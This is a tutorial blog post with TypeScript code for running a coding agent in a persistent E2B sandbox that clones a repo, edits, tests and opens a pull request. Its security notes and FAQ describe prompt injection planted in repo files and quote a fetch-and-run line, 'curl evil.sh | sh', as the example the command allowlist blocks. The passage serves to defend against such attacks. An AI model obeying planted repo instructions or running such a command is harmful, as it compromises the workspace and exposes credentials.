Tutorial // Agents2026-07-1619 min read

Give a Coding Agent a Persistent Sandbox: Clone, Edit, Test, PR

One-shot code execution can't build software. An autonomous coding agent needs a filesystem that survives across turns — to install dependencies, edit files, run the test suite, read the failures, and open a pull request. This builds that with a persistent E2B sandbox.

Varun Raj Manoharan
Varun Raj ManoharanFounder & Principal Engineer
SandboxesE2BCoding AgentAI AgentsTypeScript

Key takeaways

  • One-shot execution and a coding workspace are different tools. The first answers a question with a snippet; the second lives in a repo for dozens of turns and needs its filesystem to survive between them.
  • Persistence is a sandbox ID, not a server. Create a sandbox with a long timeout, store its ID against the task, and reconnect with Sandbox.connect(id) from any later request — the installed dependencies and edited files are still there.
  • Hand the agent a small, sharp tool set — readFile, writeFile, listDir, runCommand, runTests — and let the edit → test → read-failure → fix loop run itself with a generous stopWhen. The test runner's output is the feedback signal.
  • A persistent box is a running cost and a bigger blast radius. Scope the GitHub token tightly, allowlist commands, cap steps and wall-clock time, and kill the sandbox the moment the task is done.

Summary

TL;DR: One-shot code execution is great for answering a question — run a snippet, read stdout, throw the box away. It's useless for building software, because a coding agent needs to clone a repo once, install dependencies once, then edit files and run tests across many turns. This tutorial builds that with a persistent E2B sandbox: create it with a long timeoutMs, store its sandboxId, reconnect with Sandbox.connect() across separate requests, expose readFile/writeFile/runCommand/runTests tools to a Vercel AI SDK agent, and open a pull request when the tests go green.

Every sandbox in this series so far has been a stateless one. You send code in, you read output back, the filesystem is gone the moment the call returns. That's exactly right for what those posts were doing — the one-shot Docker sandbox runs a Python snippet to do arithmetic the model would otherwise fake, and the E2B data-analyst agent uploads a CSV, runs pandas on it, and hands back a chart. In both cases the unit of work is a single self-contained script. Nothing needs to survive.

A coding agent is a different animal, and the difference is the whole point of this post. Ask an agent to "fix the failing test in this repo" and there's no snippet that does it. It has to clone the repo, run npm install (which takes 40 seconds and writes a node_modules you do not want to rebuild on every turn), read a few files, edit one, run the test suite, read the traceback, edit again, rerun, and — when the bar goes green — commit and open a PR. That's twenty to thirty tool calls, and every one assumes the last one's changes are still on disk. Run it against a stateless sandbox and turn two starts from an empty directory. You'd reclone and reinstall on every step. It never converges.

So the model shifts from "execute this snippet" to "work in this repo for thirty turns." What makes that possible is a filesystem that persists across tool calls and, crucially, across separate HTTP requests — because your agent's turns are probably separate requests to a serverless function, not one long-running process. E2B gives you that if you use the core e2b SDK instead of @e2b/code-interpreter. The data-analyst post reached for @e2b/code-interpreter because it wanted runCode and rich chart outputs. We want a shell and a filesystem, so we drop to the core SDK and its commands and files APIs.

Why we're doing this

The temptation, if all you've built before is one-shot execution, is to fake persistence by re-sending state. Keep the repo in your database, write every file into a fresh sandbox at the start of each turn, run one command, read the result, tear it down. It works for about two turns and then the wheels come off.

Consider what "install dependencies" costs. A real Node repo's npm install is 30 to 90 seconds and hundreds of megabytes on disk; a Python repo's pip install -r requirements.txt is similar. Throw the environment away between turns and you pay that every turn — the agent spends more wall-clock time reinstalling than thinking. Worse, the intermediate state a build produces (a compiled dist/, a warmed test cache, a virtualenv) has to be rebuilt each time, and some of it can't be, because it came from a command the agent ran two turns ago and didn't save.

Durable state fixes this at the root. Clone once. Install once. After that, each turn is a cheap operation against a filesystem that already has everything on it. The agent edits src/parser.ts, runs the one test file that covers it, reads the failure, edits again. Turn six sees turn five's edit because it's the same disk. That's the difference between "execute this snippet" and "work in this repo," and it's not a nice-to-have — a coding agent can't function without it.

Here's the split laid out plainly:

One-shot execution (parts 1–4)Persistent workspace (this post)
Unit of workA single snippetA repo across many turns
Filesystem lifetimeVanishes after the callSurvives turns and requests
DependenciesNone, or baked into the imageInstalled once, reused for the whole task
Typical tool calls1–520–30
How you reconnectYou don't — new box each timeSandbox.connect(sandboxId)
SDK@e2b/code-interpreter / Dockercore e2b (shell + filesystem)
Ends withstdout, a charta pushed branch and a pull request

E2B fits the right-hand column because a sandbox isn't a process you keep alive — it's a cloud microVM identified by a sandboxId. Create it with a long timeout, hold onto that ID, and you can reconnect to the same filesystem from a different request an hour later. When the timeout lapses the sandbox pauses and preserves its state rather than evaporating, and setTimeout extends the clock while work is ongoing. That's what makes a multi-turn, multi-request coding session possible without you running a server.

The architecture

There are two lifecycles here, and keeping them separate is what makes the whole thing work. The sandbox lives for the length of a task — clone to merged PR. A turn is one call to the model that may fire several tools. Many turns share one sandbox, reconnecting to it by ID.

SCSS
  task starts
      │
      ▼
  Sandbox.create({ timeoutMs: 30 min })  ──►  clone repo (scoped token)
      │                                        npm install   (done ONCE)
      │
      ├─ store sandboxId  ──►  your DB / session store
      │
      ▼
  ┌─────────────────── agent loop (generateText) ───────────────────┐
  │  Sandbox.connect(sandboxId)   ← same filesystem, every turn      │
  │                                                                  │
  │   readFile ─► writeFile ─► runTests ─► read failure ─► writeFile │
  │       ▲                                                  │       │
  │       └──────────────── iterate (stopWhen 25) ◄──────────┘       │
  └──────────────────────────────────────────────────────────────────┘
      │
      ▼
  tests green  ──►  commit ─► push branch ─► open PR (gh CLI in sandbox)
      │
      ▼
  sandbox.kill()   ← the moment the task is done

The load-bearing idea: Sandbox.connect(sandboxId) on the left of the loop reattaches to the same microVM every turn. The node_modules from the initial install is still there. The file the agent edited on turn four is still there. Nothing is reconstructed.

Step 1: Prerequisites and setup

You need an E2B API key, a model key, and — for the PR step — a GitHub token. We'll be deliberate about that last one later.

Shell
mkdir coding-agent && cd coding-agent
npm init -y
npm install ai @ai-sdk/openai e2b zod dotenv
npm install -D typescript @types/node tsx

Note the dependency is e2b, the core SDK — not @e2b/code-interpreter. The core SDK is the one with commands (a real shell) and files (a real filesystem). That's the whole reason we're not reusing the data-analyst setup.

ENV
OPENAI_API_KEY=sk-your-key
E2B_API_KEY=e2b_your_api_key
# A short-lived, narrowly scoped token — see the security section. Not committed.
GITHUB_TOKEN=github_pat_scoped_to_one_repo

Step 2: Create the sandbox and clone the repo — once

This runs at the start of a task, not per turn. It boots a sandbox with a 30-minute timeout, clones the target repo using a scoped token, and installs dependencies. Then it returns the sandboxId for you to store.

TypeScript
// provision.ts
import "dotenv/config";
import { Sandbox } from "e2b";

const WORKDIR = "/home/user/repo";

export async function provisionTask(repo: string): Promise<string> {
  // Generous timeout — installs and test runs eat wall-clock time. The sandbox
  // pauses (doesn't die) when this lapses, and we extend it on reconnect.
  const sandbox = await Sandbox.create({ timeoutMs: 30 * 60 * 1000 });

  // Token injected only for this command; x-access-token keeps it out of the
  // stored remote so it never lands in .git/config.
  const token = process.env.GITHUB_TOKEN!;
  const cloneUrl = `https://x-access-token:${token}@github.com/${repo}.git`;

  const clone = await sandbox.commands.run(
    `git clone --depth 1 ${cloneUrl} ${WORKDIR}`,
    { timeoutMs: 120_000 },
  );
  if (clone.exitCode !== 0) {
    await sandbox.kill();
    throw new Error(`Clone failed:\n${clone.stderr}`);
  }

  // Rewrite the remote to a token-free URL; we re-supply the token only on push.
  await sandbox.commands.run(
    `git remote set-url origin https://github.com/${repo}.git`,
    { cwd: WORKDIR },
  );

  // Install ONCE. Every later turn reuses this node_modules.
  const install = await sandbox.commands.run("npm install", {
    cwd: WORKDIR,
    timeoutMs: 180_000,
  });
  if (install.exitCode !== 0) {
    await sandbox.kill();
    throw new Error(`Install failed:\n${install.stderr}`);
  }

  console.log(`Provisioned ${repo} in sandbox ${sandbox.sandboxId}`);
  return sandbox.sandboxId; // store this against the task/session
}

sandbox.commands.run() returns a result with stdout, stderr, and exitCode — the same shape any shell gives you, which is why we want the core SDK. Store the returned sandboxId wherever your task state lives: a database row, a Redis key, a session record. That string is the only thing you need to get back to this exact filesystem later.

Step 3: Reconnect from a later request

Your agent's turns are almost certainly separate invocations of a serverless function. Between them, there is no process holding the sandbox — only the ID. Reconnecting is one call, and it's cheap because the sandbox is already running (or paused, in which case it resumes).

TypeScript
// connect.ts
import { Sandbox } from "e2b";

export async function getSandbox(sandboxId: string): Promise<Sandbox> {
  const sandbox = await Sandbox.connect(sandboxId);

  // Push the timeout back out on every reconnect so a long agent session
  // doesn't get cut off mid-loop. Cheap insurance.
  await sandbox.setTimeout(30 * 60 * 1000);
  return sandbox;
}

That's the mechanism the whole post rests on. Sandbox.connect(sandboxId) reattaches to the same microVM — same node_modules, same edits, same everything. The one-shot posts never needed it because they never came back to a sandbox twice.

Step 4: The agent's tool set

Give the model a small, focused set of tools. Not a raw shell for everything — a few sharp instruments plus one bounded command runner. Each tool reconnects to the task's sandbox by ID, does one thing, and returns plainly.

TypeScript
// tools.ts
import { tool } from "ai";
import { z } from "zod";
import { getSandbox } from "./connect";

const WORKDIR = "/home/user/repo";

// Commands the agent is allowed to run at all. Anything else is refused before
// it reaches the shell. This is a denylist's opposite: default-deny.
const ALLOWED = [/^npm (run |test|ci|install\b)/, /^npx tsc\b/, /^node \S/, /^ls\b/, /^cat\b/];

export function buildTools(sandboxId: string) {
  return {
    readFile: tool({
      description: "Read a UTF-8 file from the repo. Paths are relative to the repo root.",
      inputSchema: z.object({
        path: z.string().describe("e.g. src/parser.ts"),
      }),
      execute: async ({ path }) => {
        const sandbox = await getSandbox(sandboxId);
        try {
          return await sandbox.files.read(`${WORKDIR}/${path}`);
        } catch {
          return `ERROR: no such file: ${path}`;
        }
      },
    }),

    writeFile: tool({
      description:
        "Overwrite a file with new contents. Write the COMPLETE file, not a diff.",
      inputSchema: z.object({
        path: z.string(),
        contents: z.string().describe("The entire new file body."),
      }),
      execute: async ({ path, contents }) => {
        const sandbox = await getSandbox(sandboxId);
        await sandbox.files.write(`${WORKDIR}/${path}`, contents);
        return `Wrote ${contents.length} bytes to ${path}`;
      },
    }),

    listDir: tool({
      description: "List the entries in a directory, relative to the repo root.",
      inputSchema: z.object({ path: z.string().default(".") }),
      execute: async ({ path }) => {
        const sandbox = await getSandbox(sandboxId);
        const entries = await sandbox.files.list(`${WORKDIR}/${path}`);
        return entries
          .map((e) => `${e.type === "dir" ? "d" : "-"} ${e.name}`)
          .join("\n");
      },
    }),

    runCommand: tool({
      description:
        "Run an allowlisted shell command in the repo root (e.g. 'npx tsc --noEmit'). " +
        "Only build, lint, and type-check style commands are permitted.",
      inputSchema: z.object({ cmd: z.string() }),
      execute: async ({ cmd }) => {
        if (!ALLOWED.some((re) => re.test(cmd.trim()))) {
          return `REFUSED: '${cmd}' is not on the allowlist.`;
        }
        const sandbox = await getSandbox(sandboxId);
        const r = await sandbox.commands.run(cmd, {
          cwd: WORKDIR,
          timeoutMs: 120_000,
        });
        return `exit ${r.exitCode}\n${r.stdout}\n${r.stderr}`.slice(0, 8_000);
      },
    }),

    runTests: tool({
      description:
        "Run the project's test suite. Returns pass/fail and the full failure output. " +
        "Call this after every edit to check your work.",
      inputSchema: z.object({
        filter: z
          .string()
          .optional()
          .describe("Optional test path/name to run a subset while iterating."),
      }),
      execute: async ({ filter }) => {
        const sandbox = await getSandbox(sandboxId);
        const cmd = filter ? `npm test -- ${filter}` : "npm test";
        const r = await sandbox.commands.run(cmd, {
          cwd: WORKDIR,
          timeoutMs: 180_000,
        });
        const verdict = r.exitCode === 0 ? "TESTS PASSED" : "TESTS FAILED";
        // Return the tail — failures live at the bottom of most test output.
        return `${verdict} (exit ${r.exitCode})\n\n${(r.stdout + r.stderr).slice(-6_000)}`;
      },
    }),
  };
}

Two things earn their keep. runTests returns the verdict and the raw failure text, because that text is the agent's feedback signal — the same way returning stderr verbatim in the Docker post let the model read its own traceback and fix the code. And runCommand is default-deny: it refuses anything off the allowlist before it reaches the shell. The agent gets to type-check and lint, not curl and rm.

Step 5: The agent loop

Now wire the tools into generateText and give the model real room to iterate. The one-shot posts used a stopWhen of 5 or 6 — enough to write a script, see it fail once, and fix it. A coding agent needs far more, because edit → test → read → fix is a cycle it may run eight or ten times before the suite is green.

TypeScript
// agent.ts
import "dotenv/config";
import { generateText, stepCountIs } from "ai";
import { openai } from "@ai-sdk/openai";
import { buildTools } from "./tools";

export async function runCodingTask(sandboxId: string, task: string) {
  const { text, steps } = await generateText({
    model: openai("gpt-4o"),
    system:
      "You are a senior engineer working inside a cloned repo. Your job is to make " +
      "the requested change and get the test suite green. Work in small steps: read " +
      "the relevant files first, make one focused edit, run the tests, read the " +
      "failure, and fix it. Do NOT claim you're done until runTests reports a pass. " +
      "Write complete files with writeFile — never partial diffs.",
    prompt: task,
    tools: buildTools(sandboxId),
    // Room to edit, test, read the failure, and fix — many times over.
    stopWhen: stepCountIs(25),
  });

  console.log(`Finished in ${steps.length} steps.`);
  return { summary: text, steps: steps.length };
}

The stepCountIs(25) is doing the real work. Each step is one tool call plus the model reading the result. A realistic run: listDir the source, readFile the failing module and its test, writeFile a fix, runTests (fails — off-by-one), readFile again, writeFile again, runTests (passes). That's seven steps for an easy bug and twice that for a gnarly one — which is why 5 wouldn't cut it and 25 gives headroom without letting a confused agent spin forever.

Because every tool reconnects with Sandbox.connect(sandboxId), all twenty-five steps hit the same filesystem. Step 20 sees step 6's edit. That continuity is the whole difference from one-shot execution.

Step 6: When tests pass, open the pull request

The agent's job ends at "tests green." Turning a green suite into a pull request is deterministic plumbing you run yourself — you don't want the model improvising git commands. The cleanest path is the gh CLI, which most E2B base templates include, run inside the sandbox where the edits already live.

TypeScript
// pr.ts
import { getSandbox } from "./connect";

const WORKDIR = "/home/user/repo";

export async function openPullRequest(
  sandboxId: string,
  repo: string,
  { branch, title, body }: { branch: string; title: string; body: string },
) {
  const sandbox = await getSandbox(sandboxId);
  const token = process.env.GITHUB_TOKEN!;

  // Re-supply the token only for the push, via an env var the command sees but
  // that never lands in .git/config. gh reads GH_TOKEN from the environment.
  const run = (cmd: string) =>
    sandbox.commands.run(cmd, {
      cwd: WORKDIR,
      envs: { GH_TOKEN: token, GIT_AUTHOR_NAME: "coding-agent",
              GIT_AUTHOR_EMAIL: "agent@foundrysoft.dev",
              GIT_COMMITTER_NAME: "coding-agent",
              GIT_COMMITTER_EMAIL: "agent@foundrysoft.dev" },
    });

  await run(`git checkout -b ${branch}`);
  await run(`git add -A`);
  await run(`git commit -m ${JSON.stringify(title)}`);

  // Push over an authenticated URL built at push time — token never persisted.
  const push = await run(
    `git push https://x-access-token:${token}@github.com/${repo}.git ${branch}`,
  );
  if (push.exitCode !== 0) throw new Error(`Push failed:\n${push.stderr}`);

  const pr = await run(
    `gh pr create --title ${JSON.stringify(title)} ` +
      `--body ${JSON.stringify(body)} --head ${branch}`,
  );
  if (pr.exitCode !== 0) throw new Error(`PR failed:\n${pr.stderr}`);

  return pr.stdout.trim(); // the PR URL
}

If you'd rather not depend on gh, the git push above is the only sandbox-side step you strictly need — then call the GitHub REST API (POST /repos/{repo}/pulls) from your Node process with the same token. Either way the commit is built from the files the agent actually edited, in the sandbox where it edited them.

Stitching it together, a full task looks like this:

TypeScript
// run.ts
import { provisionTask } from "./provision";
import { runCodingTask } from "./agent";
import { openPullRequest } from "./pr";
import { Sandbox } from "e2b";

async function main() {
  const repo = "your-org/your-repo";
  const sandboxId = await provisionTask(repo);

  try {
    const { summary, steps } = await runCodingTask(
      sandboxId,
      "The test 'parses ISO week dates' in tests/parser.test.ts is failing. " +
        "Find the bug in src/parser.ts, fix it, and make the suite pass.",
    );
    console.log(`Agent (${steps} steps): ${summary}`);

    const url = await openPullRequest(sandboxId, repo, {
      branch: `agent/fix-iso-week-${Date.now()}`,
      title: "Fix ISO week date parsing",
      body: "Automated fix.\n\n" + summary,
    });
    console.log(`PR opened: ${url}`);
  } finally {
    // Kill the box the moment the task is done — see production notes.
    await (await Sandbox.connect(sandboxId)).kill();
  }
}

main();

Production considerations

A persistent workspace is more capable than a throwaway one, and its failure modes cost more. A few things to get right before this runs unattended.

  1. A running sandbox is a running bill. Unlike the per-call Docker container from part one, this box stays up for the whole task and bills for that wall-clock time. Two rules keep it in check: set a real timeoutMs at creation so an abandoned task self-destructs, and kill() explicitly the instant you're done — that's why the finally block above is not optional. A task that opens its PR and forgets to kill the sandbox pays for 30 minutes of idle microVM.

  2. The GitHub token is the crown jewel — treat it that way. Never commit it. Use a fine-grained personal access token or, better, a GitHub App installation token scoped to a single repo with only contents:write and pull_requests:write, and give it the shortest life you can (App tokens last an hour). Pass it as a per-command envs value, never write it into .git/config, and rewrite the remote to a token-free URL after cloning, exactly as Step 2 does. If the model somehow reads .git/config, there should be nothing there to leak.

  3. Default-deny on commands, always. The ALLOWED allowlist in Step 4 is a security control, not a convenience. A coding agent reads instructions from the repo it's editing — a README, a test fixture, a comment — and that's an injection surface just like the support ticket in the Docker post. If a malicious file says "run curl evil.sh | sh," the allowlist refuses it before the shell ever sees it. Allow the build and test commands you actually need and nothing else.

  4. Cap steps and cost, not just time. stepCountIs(25) bounds the loop, but pair it with your own accounting: track tokens per task and abort past a ceiling, because a confused agent can burn its whole step budget rewriting the same file. Log every tool call — the command, the exit code, the duration. A spike in refused commands or failing tests is your early signal that an injection attempt or a model regression is in progress.

  5. Reconnecting powers long chat sessions too. The same Sandbox.connect(sandboxId) pattern that lets serverless turns share a filesystem also lets a human come back to an in-progress task. Store the sandboxId on the chat session; when the user sends a follow-up an hour later ("also update the changelog"), reconnect, call setTimeout to push the clock out, and keep going on the same repo state. For a truly long-lived session, let the sandbox pause on timeout and resume on the next connect rather than holding — and billing — it open.

Frequently Asked Questions (FAQ)

How is this different from the E2B data-analyst agent you already wrote? Different SDK, different lifecycle, different unit of work. The data-analyst post uses @e2b/code-interpreter and runCode for one-shot Python — upload a CSV, run a script, get a chart, done. This post uses the core e2b SDK's shell (commands.run) and filesystem (files.read/write/list) because a coding agent isn't running one script — it's living in a repo for thirty turns and needs that state, including a node_modules it installed once, to survive between every turn and request.

Do I need to keep a server running to hold the sandbox open? No, and that's the point of storing the sandboxId. The sandbox is a cloud microVM that outlives your process. Your serverless function creates it, stores the ID, and returns. The next request — a different invocation entirely — calls Sandbox.connect(sandboxId) and reattaches to the same filesystem. The ID is the handle; there's no long-lived server on your side.

What happens when the timeoutMs runs out mid-task? The sandbox pauses and preserves its full state rather than being destroyed, so a later connect resumes it where it left off. To avoid the interruption during active work, call sandbox.setTimeout() on each reconnect (Step 3 does this) to push the deadline back out. The ceiling is 24 hours for Pro accounts and one hour on the free tier.

Why give the agent an allowlisted runCommand instead of a full shell? Because the repo the agent edits is untrusted input. A README, a test fixture, or a code comment can carry a prompt injection, and an agent with an unrestricted shell will happily run curl … | sh if a file convinces it to. The allowlist constrains what the agent can reach regardless of what it's told, which is the same principle as dropping capabilities in the Docker sandbox — isolation that doesn't care what the code says.

Can I use this for languages other than Node? Yes — nothing here is Node-specific except the example commands. Swap npm install for pip install -r requirements.txt or go mod download, point runTests at pytest or go test, and adjust the ALLOWED patterns to match. The sandbox is a general Linux box; commands.run and the files API don't care what ecosystem you're building in.

Where this leaves the series

Five posts in, you've got a full ladder of sandboxing, and the right rung depends on the job. Reach for the locked-down Docker container when you're self-hosting and want a resource-and-security boundary you control. Reach for the hardened version when the input is genuinely hostile and you need seccomp, egress firewalls, and a real kernel boundary. Reach for Cloudflare Sandboxes when you're already on the edge and want execution to live there too. Reach for a WASM sandbox with Pyodide or QuickJS when you want code to run in-process with no container at all. And reach for a persistent E2B workspace — this post — when the agent isn't running a snippet but building software across dozens of turns. One-shot execution answers a question. A persistent sandbox does a job.

Available for new projects

Let's build something great.

Have a project in mind? We are an elite software and AI development studio ready to bring your ideas to production. Let's talk about your roadmap.